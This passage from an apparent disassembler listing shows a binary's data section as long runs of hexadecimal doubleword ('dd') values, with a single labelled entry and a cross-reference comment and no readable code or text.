37F1F5EFh, 0A8BD0AF4h, 14FF4488h, 0C43A30FEh dd 0E214BA0Fh, 889C4D84h, 0C3007894h, 0AFFF8CBEh, 0CCD74021h dd 98217009h, 1DBECB0Eh, 0C7CE01D0h, 18248C5Eh, 0CFC00A9h dd 8FF351B6h, 6C01084Eh, 0EC325090h, 80EC0348h, 0A07765D4h dd 0C948009Ch, 0EC83013Eh, 0B1868107h, 8C5331AEh, 9328327Dh dd 0C4304EA0h, 0FF8F11BEh, 878C88D7h, 0DFBECC99h, 0D6966AE0h dd 6502E212h, 8D6FCA46h, 35A498AEh, 23D20174h, 4FC088E1h dd 5FD841A3h, 25D18E6Fh, 3A21207Dh, 14FF14BBh, 9C479506h dd 40FE7C50h, 0FA00DEACh, 74E1EEE4h, 915A5488h, 24BC4008h dd 7040A375h, 0C31D0012h, 25D39027h, 38280834h, 44938468h dd 0C5198F01h, 15188784h, 773E88h, 88682F19h, 75BB0AE7h dd 60A85734h, 0C04C9808h, 0FF91BEC2h, 7322C746h, 0BECA970Eh dd 0D04740EEh, 0E20BBA5h, 38F6810Eh, 0E3944242h, 602390B3h dd 0BED80152h, 18F7FF8Bh, 0C0BD886Eh, 7EB7BE00h, 5ED08541h dd 1C0C9A84h, 0E4D8E537h, 3BA4A044h, 0F284A1CCh, 1726080h dd 0D098594h, 38E4F98Ch, 1900E379h, 1B63A4F0h, 18AAB15h dd 91B02377h, 583856D8h, 6504C7C0h, 0D55573A1h, 4C60A499h dd 54048C79h, 49F2AEE7h, 0BA219662h, 0B3E8E74Ch, 235A014Dh dd 5916C969h, 0D79058DAh, 564C4806h, 48D895BBh, 18107C54h dd 476B0F75h, 3E1B23F7h, 4343F2EFh, 14829D28h, 3CB230BEh dd 0E3C11911h, 85804F88h, 87083CCBh, 7F270036h, 5DA35F76h dd 0BE33DABFh, 90D1E010h, 0F8260913h, 718C001Ch, 0FAC7729Bh dd 400D5EAh, 55926C6Fh, 0A2DBFD1Fh, 0CB8861C4h, 19088D18h dd 0CE1784D7h, 954000F1h, 6DDF8619h, 573F01BBh, 0D516FEADh dd 8CD8A33Ch, 0F0216017h, 0FEEC3BACh, 14000A0h, 0F78A3802h dd 46280A1Ch, 0B5018BB8h, 90F4BD52h, 9C46A608h, 0E54C2CA8h dd 0ED204E94h, 7C39AA04h, 0ACD63401h, 4D996181h, 121E7C0h dd 96A1AE63h, 4C8EDABCh, 48C77F8h, 0F2B0E756h, 0C044A219h dd 14E74EBCh, 5F6F045Dh, 989F32D8h, 0F498B02Ch, 1FAD1722h dd 833BB14Dh, 7A2C88F5h, 0D824B800h, 0B6B55357h, 29B11878h dd 107218A5h, 697E4E13h, 21B0D461h, 39E991h, 0A58DDB83h dd 876953h, 9B5AD0C5h, 20B20B88h, 38ECB448h, 0B84D28EEh dd 0FEB88608h, 3302B8Ah, 725EB542h, 7BD939h, 0B4D17E26h dd 11F691Ch, 0F2B7A7CEh, 747859B0h, 18A00264h, 0B12CB87Ch dd 18AB2C9Eh, 6A0D572Ch, 64097090h, 1588244Eh, 5D1CABC0h dd 9CED48B4h, 0C9D6121Dh, 882EBC4h, 940A70B8h, 0AE80CA11h dd 0C3C1553Ch, 694D448Ch, 513CC712h, 0EFD5FB00h, 0C636F03h dd 715F88D1h, 930260E1h, 62BBA90Ch, 4C3C212h, 3888E44Ch dd 88350E74h, 7006DD2h, 0EDBB2F2Eh, 3F165E01h, 915254Fh dd 1026E9FDh, 0BC0AE00Bh, 36817410h, 90E67528h, 1FC76501h dd 54B1EF01h, 0C8F3F2D7h, 8856A7D4h, 860536Bh, 0DA621E89h dd 423E02ADh, 514A7525h, 0CD24B8B0h, 0B0143A4Ah, 23284C20h dd 198E01AEh, 182F84DAh, 96438818h, 0BCD01900h, 0C45CFB9Ch dd 714F0193h, 0DF0ABF0Eh, 0F4D08226h, 8B6F1478h, 0FAAC02C4h dd 0A530315h, 9B8B4900h, 0F1D0A8C0h, 0BA701F8h, 0E5D4F7B9h dd 0F6A45041h, 9D00CB1Eh, 7FEDE1DFh, 122DE61h, 0D8B23ED5h dd 64AEC5C3h, 0D890BD94h, 1B029646h, 71F2B5E7h, 0B1108131h dd 0FF00E753h, 4E1CD863h, 16C32676h, 604F7BE1h, 92BED558h dd 0C0BFFF21h, 81BEBD9Ah, 0BADDFC16h, 22C9AC30h, 944800A7h dd 0DABD1A83h, 2C993563h, 815FC63Dh, 4841F2FBh, 0BB888254h dd 57E71C4Dh, 6395000Eh, 536D1EDCh, 4AE0A956h, 0A000BC6Ah dd 0C32DBF53h, 2491C20Ah, 40044F16h, 0BF019FC8h, 0AC2FCB12h dd 67C2B4B8h, 0E4E45Fh, 0C54715B1h, 142B5E9Ah, 30134D00h dd 0C462C21Eh, 0B9D43B69h, 7E380682h, 6C6CB29Ch, 9F12C10Ch dd 14066011h, 0C8EAB81h, 28D710h, 826BCE78h, 9E0999Fh dd 0DE44EEFEh, 0C4D56424h, 24608A70h, 0C011FC40h, 1B3CB480h dd 448CD3C1h, 0AD008348h, 2ACEBE3Ch, 1D24B22h, 0BF6620A3h dd 80244302h, 2164D388h, 172709EAh, 4298376Dh, 0E518FF4Ch dd 569002Ah, 6C8BB9FEh, 1EF8508h, 5904BC2Ch, 60C7C353h dd 26F738C1h, 0C07CE0FAh, 5F944052h, 0A7B48754h, 3663800h dd 5571F40Ah, 0AFA43C2Dh, 0CE849CA4h, 0EC90F2E2h, 0BC1C88E8h dd 6CF06702h, 0ECC441D8h, 0B7D10568h, 60073870h, 31AEF2BCh dd 0F7808084h, 0AC40821Fh, 9C80766Ch, 7189284h, 0A65C0DDAh dd 0A34707Eh, 37003382h, 51EE9EB5h, 28165791h, 8490DD3Dh dd 10994C54h, 50576010h, 1400734h, 82A209D3h, 544E3BCEh dd 0D9025346h, 0DFFF8EBEh, 0E7176D31h, 1FFA20C1h, 0B8489811h dd 452C5C0h, 4C71C040h, 3BCC4387h, 68275497h, 1311F017h dd 6287FA82h, 29B4ACC0h, 9C4B980h, 7052F12h, 0C00AE881h dd 5C94383Ch, 8C70BC88h, 4ACC7D00h, 16569CD3h, 0E0375875h dd 12A9AE84h, 41A2F002h, 64A8C739h, 0C2096016h, 3B04016Bh dd 7361A53Eh, 28A2CDB8h, 0FEFF1EACh, 67784F18h, 3DD1FC29h dd 368A9986h, 13F0D76Dh, 0E460C15Ch, 0F7AB133Fh, 1B47EC00h dd 633800D9h, 2457EAAFh, 0EF0FF4DEh, 0CABB1626h, 86028C89h dd 686D56D0h, 60A0FF6Ch, 107A7052h, 63048135h, 5B30AC1h dd 4F444888h, 34A44074h, 4AD6AB68h, 0BE08209h, 97C824DFh dd 84F02707h, 85C4B4D5h, 0BFF82004h, 3EC1D217h, 7C3CF2ABh dd 738651A8h, 8810834Bh, 0BD3B77B0h, 979CD80h, 8FCF787Dh dd 0C85C3DFBh, 0E1202180h dd 0C0AB4CAh, 0FB861FC1h, 0C48844B1h, 89ECF4A7h, 3F4E8120h dd 18499CFDh, 695D4D00h, 0F98575DDh, 22828D0Eh, 7A83A2D7h dd 0A867C00Bh, 3212F234h, 0C2D8187Bh, 5224A4CEh, 23870C06h dd 0EC80EA85h, 2616F6Dh, 344CE966h, 0B065218Fh, 69604FE4h dd 0E70EB723h, 1193549h, 95777085h, 2C3A78A5h, 13C46865h dd 0BDE62C60h, 6431024Fh, 12125AA9h, 0C42767E0h, 0B49E6C98h dd 1D55465Eh, 0E02C54E7h, 0BE9C9511h, 69F2B289h, 0AE880C65h dd 0C7E50050h, 0F68D78Dh, 0B81BCB0Bh, 857490E4h, 0AE7D0780h dd 0A619F549h, 0E524C8EDh, 303AE83Dh, 8576293Bh, 0AF300DEh dd 8AA1BF9h, 61002A9Dh, 0BF4D915h, 79DC0EECh, 9B981EA4h dd 0D63B8785h, 4093A384h, 0D82333C0h, 0F6F860F0h, 969D5F07h dd 3F91315Dh, 89B4955h, 880021F0h, 9EBE799Dh, 0E93238h dd 6174171Eh, 89C631F3h, 1C6BAD00h, 0E4192ADCh, 0E65B003Bh dd 0E5D5D40Fh, 980075CEh, 86140C0h, 73B746C9h, 2B3B0C8Ah dd 80995DADh, 6297980Fh, 88FAE1E7h, 8987FDFh, 90212171h dd 72429700h, 0C7257550h, 6018C04Bh, 0AB1F35C6h, 0D2EA9600h dd 0AE7C6CD1h, 15A62819h, 5D481884h, 6DD6C88Bh, 812E313h dd 889A6B00h, 3B3DDA1h, 0BE698ADAh, 28188522h, 2A3194BDh dd 150600A1h, 995AB818h, 8DF87BA8h, 0E0981409h, 464F06A9h dd 0B6F80089h, 0E82EA374h, 0B50E4834h, 41856F7Fh, 495D089Bh dd 0D15FF899h, 3900E3C8h, 0AA4A3348h, 6FE7BBh, 7A53DF54h dd 6C4C0AD4h, 0F5F61314h, 57951CE4h, 0B6660C3Dh, 6059388Ah dd 1C05A925h, 0D8DEE4B7h, 2E07E306h, 0BEE70A69h, 33C08BE1h dd 219C0840h, 2E13455Ah, 86BE8EC0h, 606411CFh, 4D0C31FCh dd 3DA195Fh, 809F0825h, 0FC334721h, 0CD9535h, 0E3E1CA4Fh dd 0E6F6D422h, 519C0839h, 8969B1BBh, 0F18045C7h, 32C6C3BCh dd 0A50171D5h, 2BC00B89h, 787114ECh, 44C4CF2h, 5D999D62h dd 20EC6239h, 469D5B1Ch, 0E7514D03h, 47009D6h, 54105FE8h dd 0FCD2005Ch, 31E491DAh, 0A138DB33h, 0A2E6E455h, 5110CCA0h dd 4CA154A4h, 1C941827h, 0E3E75E97h, 0D587411h, 0E0340E7Dh dd 0BDC7A8F6h, 0E391C140h, 37F1833Ah, 0E638089Dh, 0A5213E68h dd 30235326h, 0C62D5B21h, 22C23701h, 1ABA6469h, 21570898h dd 0C603257Ah, 7BF47586h, 2B78A042h, 0C5F1003Bh, 0BA94E22Dh dd 0EE51D9A6h, 28017A9h, 0EB006F34h, 0C77CCEBEh, 0F2318818h dd 0A0A0DA22h, 0F6B191B3h, 0DBF45E00h, 0DCD5D39Ah, 83DA30A3h dd 52CF5620h, 61BA98A0h, 20105072h, 7D06498Ch, 588599F6h dd 1C0E2704h, 5480E85Ah, 3092A738h, 44C141E5h, 76031469h dd 0E40FDC1Bh, 81289666h, 30185684h, 0C236C608h, 4055C42Ah dd 0A8C6287Dh, 6EFE004Ah, 91FD18E6h, 26020D11h, 340AE52Bh dd 442C6755h, 67776074h, 9C7931BEh, 2492BDD0h, 6A004808h dd 318E7D2h, 2B03631h, 25A770D4h, 6860A88Eh, 988342E5h dd 641728F5h, 605AD831h, 233AC634h, 4E114AC2h, 0C62C8100h dd 2BC9E3F0h, 8276DF7Fh, 85BADCA3h, 4E92843h, 0E5B18363h dd 7C6F7DF6h, 0D8011DA8h, 65060C8Bh, 0F2014221h, 0CED9F7B5h dd 28809D55h, 0BC36BD28h, 90A1919Ah, 8921825h, 87E75C97h dd 1F407CC4h, 0D0CB978Ah, 3C3AB003h, 0D8D375F3h, 263E3B47h dd 9A206105h, 2441F85Dh, 0BBD994A3h, 3B321090h, 6A383007h dd 400594Ch, 0DDA0E40Bh, 11D5898h, 18305C5Ah, 1C04849h dd 38A1F434h, 2289848Ah, 0E331A1Ch, 2F308330h, 2A201660h dd 0C13C0367h, 0FF8F1B0h, 0A62876B2h, 0E314E07Ah, 0C49C8E05h dd 0D30265CDh, 0DCA741F8h, 8CEDC38Dh, 0A4181938h, 0E50F703Ah dd 968C8C6h, 827E9BDh, 91427024h, 0C9C284A0h, 40F7CEFCh dd 28359A68h, 246C13C2h, 80B4DF22h, 0F9421928h, 0CDF847B4h dd 870834A4h, 26A339D6h, 0F6E702CCh, 885A081h, 59AC01DCh dd 0A9310EE6h, 50D130F8h, 0F2E22A18h, 5584F850h, 60571CFh dd 0A3884C53h, 0F870620Ch, 0D8C49CB5h, 0E7022F9h, 0C17DA0BAh dd 0C185F8Bh, 34412465h, 0DD00731Dh, 4B6E100Fh, 0D433C018h dd 60C7E392h, 0ADBA88D5h, 7E00EA59h, 19E4104Fh, 2C61A794h dd 40D05648h, 0D5EAE36Bh, 3190A8A1h, 944531E4h, 8BFC3650h dd 0E054338Dh, 460C30FCh, 9D2235h, 32FC2E46h, 0E47D69BBh dd 0BA3E5100h, 0F4C7043Ch, 150DECBh, 21615EA5h, 0E79C74F9h dd 0DB40082h, 0C5DF52F4h, 1F5C4810h, 8E1C0354h, 290BA505h dd 911E52Ah, 11401D60h, 0E0598078h, 0B8ED8A92h, 96312098h dd 30A6F0A1h, 10E6AAC0h, 0C50E90B2h, 64655FC6h, 148876B9h dd 0ACF02869h, 40A449ACh, 4878C239h, 5432546Eh, 99302C98h dd 0E7631197h, 817688AFh, 83979122h, 42CC848h, 50A1F7Ch dd 0FC5FD418h, 44AAC252h, 61C49850h, 0BD57C1EDh, 0F5470D9h dd 0FBB6140h, 8647EEEBh, 662DB9B9h, 9D5D0EF8h, 0C4616894h dd 561740EAh, 36859Dh, 0BBBA86F8h, 2E7A40F1h, 7498244Ch dd 0D890F373h, 76DF8B44h, 0F955126Ah, 902022F0h, 11FC3930h dd 885D0C33h, 314980A0h, 5A8639FCh, 29F5A400h, 84C01803h dd 0F3B22413h, 91C2020Ch, 0B4896D34h, 58488002h, 0B7034080h dd 0A9266FE9h, 0C0088043h, 0C2EC8688h, 594C41D6h, 12389464h dd 4020EF9Ah, 34C641FAh, 82216259h, 0A0C8129Ch, 0FF12FD8Bh dd 0E0405587h, 60085D3Fh, 3CFCB15Ch, 0B4876F20h, 9E60F244h dd 0C4073C09h, 0A973E0FEh, 4205DA0h, 3060C03Fh, 138BEBF1h dd 58E89E28h, 0DCA033Eh, 103B8231h, 0DE8EE88Ch, 0C14DD521h dd 80E08890h, 0C244CAABh, 4205B7A7h, 0E87918A6h, 7AFC9804h dd 9067AB04h, 941A5230h, 0D00F4600h, 22F2B777h, 489E60AAh dd 560BF85Dh, 5807A0D2h, 0C400C2B0h, 30EC0E96h, 0BC88FCEAh dd 6260F491h, 42538458h, 68F6E157h, 18AF60C8h, 382D54EDh dd 404AAEFDh, 65C9A444h, 3F840216h, 8440B8F7h, 5D2E300Ch dd 841088DDh, 7138D602h, 209E278Bh, 14F23023h, 0C502DEE5h dd 0CAA8F869h, 5EC8461h, 568D24D0h, 983801DCh, 1FC1FD3Eh dd 0AA3860A5h, 14A01892h, 0D8DF97BDh, 1482FCF7h, 20A0C469h dd 8B4CDFFCh, 49E110ECh, 4BA33013h, 4C02BBD0h, 650043F0h dd 398F49FBh, 9236BEA1h, 0FC9829B8h, 0ABB5D939h, 0C0C24096h dd 0D44B107Eh, 0C030A741h, 24684C5Fh, 79F909Ch, 4454C4DFh dd 6081DDE4h, 14309097h, 0ADC23726h, 34C82960h, 37E473DDh dd 5A1A6670h, 0E068632Ch, 73C1D65Ch, 98FE62F3h, 0EC58D35Eh dd 63014890h, 0E3C9E0ACh, 0B058F7EEh, 8D9D25BBh, 0E682484h dd 9AF0B56h, 66984980h, 20A90D11h, 6A204124h, 0BF69381Ch dd 2090696Bh, 0F671D995h, 0B234D700h, 0CB1FD1F9h, 6E8A0498h dd 0D23DBD43h, 0A064ACB8h, 62F30504h, 2CC1A7ADh, 5E0276D8h dd 883D3040h, 38E3E88Bh, 8845DD7h, 91013CE8h, 0F6E60FE1h dd 5D039B01h, 2D3D6081h, 8C72081Ch, 307E00BDh, 5F2FD4C4h dd 54C438A5h, 5EC7B860h, 0FDDDA702h, 4140269Eh, 0EA8410h dd 0E505C603h, 9A352A1Fh, 2691A4ACh, 72979387h, 77317FE7h dd 978B2010h, 9D1F0839h, 440265BDh, 64839461h, 5FA112CCh dd 793808D3h, 14100785h, 0D00D80D5h, 90C9F19Ch, 6559E050h dd 386100D0h, 0C3EB7156h, 0B21EB437h, 0BE934647h, 76C814D0h dd 5C881F9Fh, 3D1BC072h, 0AED8F36Fh, 8ED41E03h, 4CEEDA21h dd 0ECF87C60h, 0BC31188Ch dd 765DC094h, 0A1368C80h, 9FDFABD4h, 0A08B338Fh, 0E8C0ED88h dd 75E76FDCh, 0AB0D2805h, 733C2ECCh, 1817A51Ch, 0F0817691h dd 0F4B1243Dh, 0BD2A4592h, 89069488h, 0D4107880h, 0A24120C8h dd 94185D17h, 11E02C40h, 4DE40C83h, 0C428189Ah, 24824CC0h dd 1D21F84h, 7DE889C2h, 47C7A989h, 4F7B3820h, 0E000DBD8h dd 146CE6ADh, 5BF6151h, 0DA248A38h, 1CA4811Dh, 8209FEC2h dd 0C47B8834h, 108A5DE0h, 2DFC3781h, 9931CA0Ch, 0FC2F4310h dd 3A653607h, 0B3623CB9h, 54C4C17Bh, 0BC592C3Ch, 4EB6C0BDh dd 770D374Ch, 8C17FD13h, 5228E888h, 3023F8C3h, 939D5C01h dd 0EF18495Dh, 0E0E61689h, 31B9FA0h, 0B8205278h, 7A98BAFEh dd 0F0529C7h, 35EED955h, 9E3A307Ah, 65ED9C00h, 0BB686697h dd 0F49BB97Ah, 95A75500h, 906EFDEDh, 71496ABCh, 52240AC8h dd 5C051174h, 807238D8h, 2028DF55h, 0B0B28D1Fh, 393F1624h dd 0F65806B9h, 64986171h, 17566420h, 9E40DE0h, 2823A69Ch dd 60AE8B48h, 19C2FA20h, 317C1FFDh, 74E0CA30h, 368166A0h dd 8CD23095h, 0C1BA5587h, 0CC582EE5h, 745639C6h, 5DD8643Ch dd 6008ACC8h, 0F069A950h, 0E43410A4h, 0A8829178h, 0C6313057h dd 42C23B13h, 7E0018CBh, 1722C629h, 449297BFh, 516A2D00h dd 151FFC26h, 8D03001Ah, 4F206254h, 0E002484Ah, 5FA9C5BFh dd 13CDAC7h, 0F9201907h, 0C067622Dh, 2102660Dh, 55BE9BC8h dd 18D342E6h, 0CC440B0h, 53E392D0h, 0E9552341h, 6E37D0FCh dd 42BD900h, 7C745750h, 56A300C2h, 1E39ED70h, 9A573B11h dd 0A20E12CCh, 0CCEEF41Dh, 0D6934885h, 0C0C7CC04h, 0FE80F16h dd 0CEE505B0h, 0A801A149h, 91602F26h, 3A02D426h, 550C34FCh dd 4A600471h, 161FC32h, 0CCC2DF82h, 26F671D7h, 25047C20h dd 5A0ECF87h, 5E08E660h, 29C244E4h, 84CEC442h, 0BA403DE0h dd 48372CC3h, 40080D5Ah, 9795C028h, 8F46E75Fh, 1E027322h dd 99F5978Dh, 0C8B8B037h, 8098B642h, 9D1CE5C2h, 0BF1CAE36h dd 39872855h, 0F3D02D98h, 9AA4F13Eh, 63F42794h, 0CDA2B0A4h dd 285029A0h, 149E952Ch, 0B8ECC68Ah, 6C3CD08h, 99610CE3h dd 0F6F84201h, 57483096h, 0B05682Dh, 0C8DCAE14h, 0D94CC0F8h dd 0E52A00A8h, 0EC0C2709h, 5064FEAh, 0D2106AD4h, 0DC712E60h dd 51189B71h, 42E69660h, 49BA695Bh, 5F0538DCh, 7650810h dd 25FBE3D0h, 0B90A207h, 9C72D1CEh, 9E5922E0h, 3169AB31h dd 6AE1FF5Eh, 0D3A1D4h, 0F829F19Bh, 7BB639C7h, 0BC01AC24h dd 0C0812E97h, 780C3E48h, 0DFDF9188h, 0E7220C29h, 501EA0A9h dd 0EE8017AEh, 4D54C9E3h, 243106FCh, 50DD1DDFh, 51310CBCh dd 2A134D5Ah, 0DD312200h, 0D459622Eh, 5BA4A190h, 666CD842h dd 19C8068Ch, 812DAC98h, 182940A1h, 27139896h, 4096A7E7h dd 978E2300h, 2A377069h, 48C7338Ah, 4D9C4C9h, 10BC6291h dd 0BB00D4BAh, 0C23072A9h, 8F64E069h, 2499B720h, 57B8307Dh dd 63417504h, 28806E53h, 929E55CEh, 2B2B78F8h, 88C05833h dd 0D829F5Ah, 44F5CAECh, 1A27C4Ch, 1991DC1Ch, 8195BE08h dd 0EE1B6B29h, 8D12A503h, 51172A20h, 0E8554C89h, 0CD02EB7Fh dd 0D690F440h, 594230C2h, 54B04820h, 0F1F62C87h, 53E06238h dd 0BD508709h, 0C0871C52h, 805298DCh, 0E601FFDDh, 0A3BA4255h dd 5FF438F6h, 5E18B4C5h, 0BE007646h, 9D4A9AB9h, 0CF09136Fh dd 21EA1C06h, 8C493BCCh, 77C84839h, 0F3A10E02h, 9878F8A7h dd 5BD42C4Ch, 126B1B8h, 13D0BBBFh, 8C9C9335h, 201E82EBh dd 0BEFC2510h, 1A0B85C0h, 8CEAAF33h, 8C96C439h, 0A8F9F6E3h dd 49113BAh, 312000DBh, 92359E4Eh, 40C5E424h, 0B4A5BA8Ch dd 0C42550DDh, 0A7D52732h, 3B936022h dword_50005C dd 5A11E428h, 7C18542Fh, 6C5EC957h, 88483033h, 47E5EE88h ; DATA XREF: ___:off_43F29Co dd 0B9559DF2h, 620C802Ch, 0FD39E008h, 0DABC3C40h, 0D053821Dh dd 30683809h, 9362AD44h, 8C541738h, 0E49826F0h, 0EEBA20h dd 17959ABCh, 2BFA0543h, 4F696238h, 6CCC5812h, 0AB9013A1h dd 0D5708898h, 818C174Ch, 91DA33DDh, 203D8DD1h, 1C0E2606h dd 9213699Ah, 848ACA33h, 14F8A865h, 8110C46Ch, 7C332476h dd 0A045EE06h, 0F6AC2411h, 5E74AE4Ch, 0F017346h, 30596A01h dd 5E08270h, 0D9A21Ch, 4108E33Bh, 448B61D2h, 50C07BC8h dd 96CC69h, 94684A4Ch, 0CFC4495Bh, 1B452890h, 8C55C060h dd 35C62F04h, 516232C2h, 0C6277C20h, 0B2E03CCh, 9786A004h dd 61C29C99h, 18B86808h, 42896AABh, 9175BF5h, 0DC909850h dd 0AE4977FFh, 822C58A0h, 71EDC4F8h, 796446F4h, 0A4209B4Bh dd 2A31106h, 0EEE60790h, 35058A49h, 4266F00Bh, 4750711Ch dd 5D0448E5h, 70A0C420h, 0E87130C7h, 1891C218h, 0AEC17462h dd 80BCBD3Fh, 82183141h, 0B80CCBBFh, 60FB4E9Ch, 0D8640FCh dd 6148A117h, 0E61C2C30h, 0D4D0B4ECh, 0B4F2B447h, 22E08417h dd 0C1A0C458h, 194908Ch, 5421992Ch, 78C8940Eh, 0A84CDCC3h dd 167E0AA5h, 0D08949C6h, 5B7216D8h, 0A445652Fh, 58E20644h dd 0AC73FF72h, 0EC3097E2h, 482F17CBh, 0FBBCC862h, 5EADE20h dd 69C55992h, 0CEF8A4BEh, 0B2E40C17h, 0DB0053h, 7FF1E780h dd 6864984Bh, 10B9C7B6h, 3EC8A100h, 0AC6E3619h, 80BDF4B6h dd 0CAB475E4h, 604B8E4Eh, 136B78D9h, 38BCDF1Ah, 91C44AB0h dd 887152CCh, 0B9E12218h, 6035B67h, 571D6A20h, 80F2CAB4h dd 1C0FFFD4h, 2528906Bh, 2C13BC69h, 68CA7C82h, 0D4A0D04Ch dd 0A49553A8h, 44B3250Ch, 38018B23h, 250C2EFCh, 4402C04Eh dd 7F2BFC30h, 0E59504E0h, 0D5A58814h, 1EE16F0h, 0ACBB4000h dd 9D3A4634h, 6E904410h, 130F2800h, 699FEB16h, 18C40053h dd 0E07AE777h, 3A014717h, 2A42AC55h, 60819CE4h, 0A324B0A0h dd 3B0030D3h, 0FC2048B8h, 26E01341h, 1FB82CF5h, 0AC80028Ah dd 0D92CD1C3h, 66118EBh, 22D4909Bh, 0D72619DEh, 0E1009031h dd 9578ABD2h, 56FC180Ch, 0E42280F6h, 7D3C29CFh, 0F409E0D6h dd 0BA90900Dh, 0EC990EB5h, 300B5D8Bh, 9180ACAEh, 92AB0E3Ch dd 57F8D318h, 4AD6E731h, 18F8D2C1h, 0E009E05Ah, 82086A0Dh dd 20505940h, 61C2D724h, 5802E85Eh, 0D903C723h, 805411B0h dd 0C238C62Eh, 5496971Ah, 0C6267B00h, 8E85C804h, 99960637h dd 214CC725h, 81003B79h, 0B09C012Dh, 8658A6h, 4F892FF2h dd 1A09CEAEh, 54B042EEh, 2A4C244Ch, 360BC451h, 0AEB61374h dd 0CF6961A0h, 1F2E7E52h, 64D0243Ch, 0C6336059h, 52C22339h dd 80005311h, 4C88C62Bh, 2CF34A09h, 0C84E8760h, 183F5D70h dd 0B40C0025h, 21E2168Ch, 1D3EF4F2h, 41AD5CD4h, 84203AC4h dd 0CD065Fh, 0AB6E141Fh, 82D0E0A8h, 556DF400h, 90E239AFh dd 91DC9658h, 0E8884E74h, 80933F0Ah, 0CE423280h, 0E4C24D9Dh dd 0E899CC1Eh, 0E6A56DC4h, 284AB8ACh, 0AB894908h, 65E02C40h dd 25E10068h, 58BA317Ch, 0D13A0C5Ah, 0CF059CAFh, 888E9584h dd 73607898h, 673779D4h, 20F65191h, 0E845DED7h, 0F4267C74h dd 240BD63Ah, 9B0C90C7h, 9CA70255h, 3F52BC79h, 0E744147Ah dd 0B628E43Ah, 69540264h, 0DC84CFF0h, 644845B2h, 48FBF088h dd 8326A2C1h, 0A3010938h, 247A346Ah, 4D5D5F7Ch, 97D84814h dd 0F8F64095h, 0FD2065E0h, 6E5D7302h, 618CBAF4h, 68681C88h dd 0D7094456h, 1C79B00Fh, 5A802831h, 96BE0841h, 238FC980h dd 279D1310h, 0F393D100h, 0A75A867Ch, 11E73F41h, 3824EE26h dd 7083742Dh, 409A3839h, 0C1164050h, 948FA2F3h, 9C05188h dd 250C7FEAh, 0FC83FAECh, 1CC1368Dh, 0C0022B76h, 8124D0C4h dd 0E39296F7h, 0C20BBC3Dh, 44A10869h, 0C829D404h, 4B45BF8h dd 0F3C2A341h, 506069h, 468D09CAh, 40828CAEh, 35028545h dd 0DA1440FCh, 3A7C917Fh, 6E5B50C9h, 92430010h, 0AD80392Ch dd 5DF8A061h, 0C4D94BCEh, 87CCBCDCh, 223BF36Bh, 0C0D7A5ECh dd 0DFF04634h, 172A4211h, 64C0A864h, 8441E222h, 1FC926F4h dd 80FB6A5Ch, 91EE750h, 2D4456F8h, 0A480A1C4h, 442E6020h dd 844463D5h, 109897BCh, 0AB09CF55h, 0D12CEE14h, 0DC46080Ch dd 4089C205h, 0F8C1D4F0h, 1001979Ch, 70BE5FA1h, 9CBE37DCh dd 0E491D801h, 8105DAEAh, 2D8118C4h, 0FA740FE0h, 560F905Dh dd 8DCCCE87h, 0C4902D80h, 20F4C930h, 46BBBBAh, 0C1E8E3DCh dd 8BBC82B0h, 72089828h, 96C40BE7h, 9C11F01Dh, 1500AE8Fh dd 6DADBFDEh, 0CAC4909Fh, 808600B2h, 49B6B5A7h, 0C2DF02ABh dd 51EE08C2h, 3F8C8297h, 90A100D6h, 95487582h, 58C410B0h dd 9F858840h, 37D6E880h, 9112BC67h, 98805FC8h, 4265254h dd 8EFBE556h, 0B0490DDh, 0F7402EE4h, 277112C6h, 0ADB0471Ch dd 8206D794h, 4E8D5FEh, 30299A4Ah, 54E2208Ch, 0F99C3317h dd 34F41E40h, 0F7214042h, 24AC602Fh, 192B07B3h, 0D0622AC3h dd 8FCE9348h, 6B15F612h, 0B64E5CC8h, 0D860251Ch, 132EA3A6h dd 0CE145C85h, 24232EC4h, 0FD8AB40h, 0BB3500CAh, 5D26256h dd 306AB6ACh, 0A0392828h, 68AB308Fh, 1F3EDF99h, 0A5D94F00h dd 0CEDA0F44h, 2D0BC49h, 59E817DDh, 0DF0928DAh, 91658BFFh dd 80154D7Ch, 0CBC50AB0h, 381248FEh, 9C6191D6h, 0B0F8673Eh dd 837F000Fh, 0A158127Dh, 3898B7ADh, 0A2F3DE25h, 21632C70h dd 341EBF69h, 0F48E3DCh, 0C2099F18h, 20D864DCh, 190F6B74h dd 2F6DEADh, 68DB59C6h, 16C30494h, 0A377BE06h, 3097E2E8h dd 0CCA06B84h, 0C58265F1h, 0AACB09C0h, 708DCC07h, 8FBD8B56h dd 174B41C3h, 161CC013h, 918D035Eh, 7861C4C7h, 0CCEC94B4h dd 5913C274h, 84A47520h, 38E9401Eh, 0D1346A30h, 7C26E383h dd 2231D3F4h, 0C84D2E08h, 0AA87CAC0h, 2BA9000Eh, 0F7610DFh dd 8D35BEA2h, 0CC88E89Ah, 196C0990h, 880B027Dh, 8CE0A812h dd 32813D46h, 70807C7Ch, 42FDD9F7h, 6CCAEA00h, 41FA76C3h dd 7BF30044h, 0E63E9A94h, 829D342Ch, 9067BDD8h, 2D3A36ACh dd 0D8978AB7h, 0EA807C91h, 27A8BC4Eh, 0FF718201h, 9CE8F74h dd 9B4E986Dh, 0A7EB8074h, 0C1F0F1h, 57EE8BBFh, 7B9BB05h dd 420182Eh, 53A468Bh, 30D92F38h, 2E925660h, 0C430515Dh dd 541540E9h, 5C4B829Dh, 5D80CCADh, 0DD3E3D23h, 1DF09E02h dd 801617F1h, 0A6A925D3h, 9F2201B4h, 19CEE555h, 73E43579h dd 91167674h, 8C938578h, 62193FAEh, 457B8011h, 8489F018h dd 0DC4C9442h, 23F02F97h, 0C7F8004Eh, 485FC23Eh, 6F6FABF8h dd 6F900D9h, 318F747h, 0B64E3494h, 97C8B732h, 0E05C9B14h dd 77C0162Ch, 9A22788Eh, 0DD344048h, 105D0E40h, 5CED9FC2h dd 0C840BE76h, 345E0321h, 163DBB90h, 326A6ECFh, 401438C4h dd 3F25D86Ah, 70E67CE2h, 3AA0C1F1h, 5EC7C005h, 8039F8E2h dd 4BE72242h, 0A1EC4022h, 4487C96Bh, 0CBDF9900h, 59806558h dd 6A0A1E1Bh, 8FDCC286h, 687426B7h, 0D8C17544h, 0EC702254h dd 0C203883Ch, 82A4E1B5h, 6505FC26h, 97071EEBh, 53602504h dd 0E4401094h, 0E0696481h, 5AF04A82h, 55C8ACCBh, 0FF0FB4C0h dd 784D0199h, 0EA1B766Bh, 264832EEh, 467E3C30h, 0E62A009Bh dd 5AC3F0B7h, 45EE4AD9h, 1CE88DA0h, 5244E4B8h, 5850DC53h dd 489B09E9h, 3CD99037h dd 0DB1B4100h, 0DFEEBBh, 9A383DB6h, 